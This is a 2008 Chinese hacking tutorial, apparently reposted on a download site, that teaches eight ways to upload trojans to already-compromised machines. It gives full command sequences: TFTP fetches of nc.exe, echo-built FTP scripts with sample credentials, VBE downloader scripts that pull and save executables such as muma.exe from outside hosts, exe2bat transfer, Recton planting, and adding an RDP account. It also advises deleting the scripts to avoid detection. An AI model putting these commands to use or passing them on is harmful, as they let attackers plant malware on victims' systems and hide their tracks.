文章搜索: 分类 关键字
内容1载入中...内容2载入中...内容3载入中...
您的位置:首页安全防御黑客技法 → 上传木马的8种方法
上传木马的8种方法
日期:2008-4-19 17:15:35 人气:     [ ]
推荐本页:
    上传木马的8种方法

    ★一★ TFTP法传输

    我们最喜欢也是最方便的方式是用TFTP!这里要配合TFTP32这个小型的文件传输服务器,TFTP协议使用的是UDP69端口,在我们得到肉机的SHELL后可以很方便的传输文件到肉机上的!下面看我详细的讲解和操作,在我们得到的SHELL里输入tftp –I IP get/put xx.exe就OK了,注意这里一定要记得带上参数-I,不然是不会成功的,还有要注意的是PUT是把肉鸡上的文件传到我们自己的机子上,一般常用来偷秘密文件(怎么像做贼似的);GET是从我们的机子上取文件到肉鸡上,也就是上传文件到肉鸡上,我们这里要用的是GET这个动作,因为我的IP是222.XXX.XXX.2,所以我就在得到的SHELL里输入tftp –I 222.XXX.XXX.2 get nc.exe就是到我们的机子上取NC这个我们要上传的文件,可以是任何你想传的东西,但是最好传的文件比较小,否则容易失败.
    别急着敲回车,我们还要在我们自己的机子上架好TFTP32这个软件才行,这里有个技巧,我们可以把TFTP32这个软件和我们的NC放在一个目录下,这样在取文件时就不用另外写路径了,很是方便,我们把TFTP32放在NC一个目录里打开后它就在69端口监听看有没有需要传送文件的请求,这时我们就在得到的SHELL里写好的那句话后敲回车就就等待上传成功吧~~~~~~

    ★二★、 Recton程序种植者直接种植

    Recton程序种植者又种方法可以用,一个是依赖IPC的,一个则是通过写VBE来用HTTP法下载的,分别叙述如下:
    1、IPC上传
    IPC上传方式只依赖远程主机开放IPC$和目录共享,不依赖 Task Scheduler服务。具体情况参考下图,远程主机写上对方的IP地址;用户名就是你具备管理员权限的帐号;密码就是你那个帐号的密码;选则IPC上传,在本地选好要上传的文件,最后写上启动参数就OK了!
    2、Http法上传
    Http下载不需要远程主机开任何共享,也不依赖Task Scheduler服务。其原理是在远程主机上写入、执行一个能从 web上下载文件的VBS脚本。需要注意的是文件地址和启动参数一定要写正确,否则无法执行!文件地址一定要包含http://,如下偶写好的一个例子,运行后就会下载http://************/muma.exe并且运行。

    ★三★、EXE2BAT的超级应用

    本例是使用一个名为exe2bat的小工具,在本地打开一个CMD,切换到exe2bat所在目录,输入:exe2bat.exe后回车,exe2bat可以将一个应用程序(.exe)转换为一个批处理文件(.bat),而批处理文件我们是可以编辑的,下面我们就将一个开3389的小工具3389.exe转换为批处理文件。输入:exe2bat.exe 3389.exe 3389.bat,回车后就可以得到一个名为3389.bat批处理文件。
    好了,我们用记事本打开生成的批处理文件,然后点击“编辑”菜单中的“全选”和“复制”命令,将文件中的源代码除了最后2行外全部复制到剪贴板中。
    再切换到我们得到的SHELL窗口里,点击右键选择“粘贴”命令把我们刚才复制的字符都粘贴进去,你会看到代码飞速变换,像黑客帝国里的镜头,很过瘾!
    代码复制完成后,输入:ren tvisGRAY 3389.exe命令就可以把3389.exe还原,现在你的这个文件就传上去了。这种方法的优点是不言而喻,因为它可以直接利用已经得到的shell将文件以“代码”的形式输入到对方电脑,不需要任何网络工具的支持,同样也不必打开任何的端口,也没有任何进程,能穿越任何防火墙。不过这种方法也有一个明显的缺点,就是上传的程序体积不能太大,不然代码的上传时间太久不说,再还原成源程序的时候也可能出现问题。

    ★四★、FTP法传输

    有的时候我们自己的计算机没有公网IP地址,这个时候想用TFTO就比较麻烦了,如果你嫌上面的办法比较麻烦的话,那你还可以用这个比较简单的办法就是用FTP,但是我们在得到的SHELL里不能直接登陆我们的FTP服务器去下载东西,这涉及到一些FTP协议的问题,在这里就不详述了,我们只是讨论怎么传文件嘛!当我们不能直接传的时候我们可以换个办法来实现,这个办法就是写个ftp.txt的文件来向FTP服务器提交就可以了。在我们得到的肉鸡的SHELL里写入以下代码:
    echo ftp >ftp.txt
    echo open服务器ip [端口]>>ftp.txt
    echo username>>ftp.txt
    echo password>>ftp.txt
    echo get sample.exe>>ftp.txt
    echo bye>>ftp.txt
    其中服务器ip就是你放你想传的文件的FTP的服务器 IP地址;username就是你登陆你的FTP的帐号;password就是你的密码;sample.exe就是你想下载的程序名字。最后一个bye是退出FTP服务器。
    其中218.XXX.XX.163 就是我的FTP服务器的IP地址,iceskysl就是我的用户名,653917就是我的密码;mt.exe就是我想下载的文件。我们DIR下看看写成功这个ftp.txt么?
    为了确保我们没有写错,最好还是用TYPE命令来看看这个 FTP.TXT文件的内容是不是我们想写进去的,一般来说是不会错的!接着执行ftp -s:ftp.txt 就可以下载到们的那个文件了,我这里下载的就是MT.exe这个文件,显示的就是我成功下载的提示了。
    记得最后要用del ftp.txt来删掉我们写的这个TXT文件,要不被发现了我们就亏大了!现在这个文件就传上去了,接着怎么做就不要我教你了吧!

    ★五★、利用xiazai.vbe法

    这个方法也是很简单有效的,我们在得到的肉鸡SHELL里依次写入下面这些命令来创建一个VBE文件,代码如下:
    echo with w:if .arguments.count^<2 then .quit:end if >xiazai.vbe
    echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >>xiazai.vbe
    echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>xiazai.vbe
    echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>xiazai.vbe
    这样就会在肉鸡中生成一个xiazai.vbe的文件,如下图是我演示的一个结果显示,我们通过DIR可以看到这个xiazai.vbe文件已经成功创建了。
    现在我们只要输入c xianzai.vbe http://iceskysl.e2u.cc/server.exe  mtt.exe就可以把http://iceskysl.e2u.cc/server.exe这个地址下的这个server.exe下载到肉鸡中并且改名字为mtt.exe,目的达到,接着怎么做,我就不多说了!

    ★六★、利用iget.vbe法

    这个方法同上面的那个差不多,只是写法不一样,具体的还是在肉鸡SHELL中写入下面的代码:
    echo iLocal = LCase(W.Arguments(1)) >iget.vbe
    echo iRemote = LCase(W.Arguments(0)) >>iget.vbe
    echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
    echo xPost.Open "GET",iRemote,0 >>iget.vbe
    echo xPost.Send() >>iget.vbe
    echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
    echo sGet.Mode = 3 >>iget.vbe
    echo sGet.Type = 1 >>iget.vbe
    echo sGet.Open() >>iget.vbe
    echo sGet.Write(xPost.responseBody) >>iget.vbe
    echo sGet.SaveToFile iLocal,2 >>iget.vbe
    这样写好后就可以这样执行了c iget.vbe http://icesky.com/muma.exe mm.exe 就可以把http://icesky.com/muma.exe这个地址的程序muma.exe下载下来并且改名字为mm.exe。

    ★七★、利用Http网站vbe法

    这个就是我们前面讲的那个Recton程序种植者所用的HTTP法下载的原理,我们在得到的肉鸡的SHELL里依次写入下面这些:
    echo Set xPost = CreateObject("Microsoft.XMLHTTP") >dsa.vbe
    echo xPost.Open "GET","http://d.thec.cn/mygoit/readme.exe",0 >>dsa.vbe
    echo xPost.Send() >>dsa.vbe
    echo Set sGet = CreateObject("ADODB.Stream") >>dsa.vbe
    echo sGet.Mode = 3 >>dsa.vbe
    echo sGet.Type = 1 >>dsa.vbe
    echo sGet.Open() >>dsa.vbe
    echo sGet.Write(xPost.responseBody) >>dsa.vbe
    echo sGet.SaveToFile "readme.exe",2 >>dsa.vbe
    写好后执行:c dsa.vbe 就可以把你上面的那个地址("http://***.*/sample.exe,注意要换成你自己放程序的地址)下的文件下载下来了,最后同样别忘记了用del dsa.vbe删掉我们刚才写的那个文件哦!

    ★八★、 3389法

    如果你得到的主机是可以开3389的,那就更加好办了,我们有很多的办法开3389,(这个到底怎么开就不在这个专题之内了,你可以查阅相关资料或者写次再写这个专题的内容)你就可以开了他的3389,再自己加个帐号,然后登陆,在它的3389桌面环境下进行“本地”下载,该方法还有个好处就是对服务器上传很严格的机器特有效。(包括硬件防火墙)


    出处:鹤壁宏泰塑料包装制品厂 作者:孙宁 本文章由 hbhtbz 搜集整理发布
    评论人 评论内容摘要(共 0 条,查看完整内容) 得分 0 发表时间
    ·正确安装CPU风扇及风扇加油全程图解
    ·主板全程图解
    ·卡丽来教程(一)
    ·破解星空极速
    ·关于GHOST的时说找不到一个叫GHOSTER..
    ·RM RMVB转VCD DVD方法及软件下载全面..
    ·Hacktool.rootkit病毒如何清除
    ·DVD转RMVB效果最好的工具AutoRV9中文..
    ·高频时代电脑分身术——BeTwin使用详..
    ·Ulead GIF Animator 5全新接触
    ·nlite额外保留与额外删除参考
    ·Windows.2003.Datacenter.Edition.SP..
    ·图解Windows XP远程桌面连接
    ·图解-EasyRecovery 604硬盘数据恢复软..
    ·图解双网卡共享ADSL宽带
    ·Microsoft SQL 2000 错误代码
    ·自己制作ghost版xp系统
    ·主板cpu知识大全图文版
    ·手把手教你架设电影服务器(图)
    ·六招教你学会破解
    ·正确安装CPU风扇及风扇加油全程图解
    ·主板全程图解
    ·卡丽来教程(一)
    ·关于GHOST的时说找不到一个叫GHOSTER..
    ·RM RMVB转VCD DVD方法及软件下载全面..
    ·Hacktool.rootkit病毒如何清除
    ·DVD转RMVB效果最好的工具AutoRV9中文..
    ·高频时代电脑分身术——BeTwin使用详..
    ·Ulead GIF Animator 5全新接触
    ·Windows.2003.Datacenter.Edition.SP..
    ·图解Windows XP远程桌面连接
    ·图解-EasyRecovery 604硬盘数据恢复软..
    ·图解双网卡共享ADSL宽带
    ·Microsoft SQL 2000 错误代码
    ·主板cpu知识大全图文版
    ·手把手教你架设电影服务器(图)
    ·六招教你学会破解
    ·卡巴key被封的解决办法
    ·Win2003架设DNS服务器
    ·TMPGEnc 小日本的使用详释
    金电下载站 版权所有 Copyright© 2001-2005 www.jdxz.net, All Rights Reserved.
    湘ICP备05012976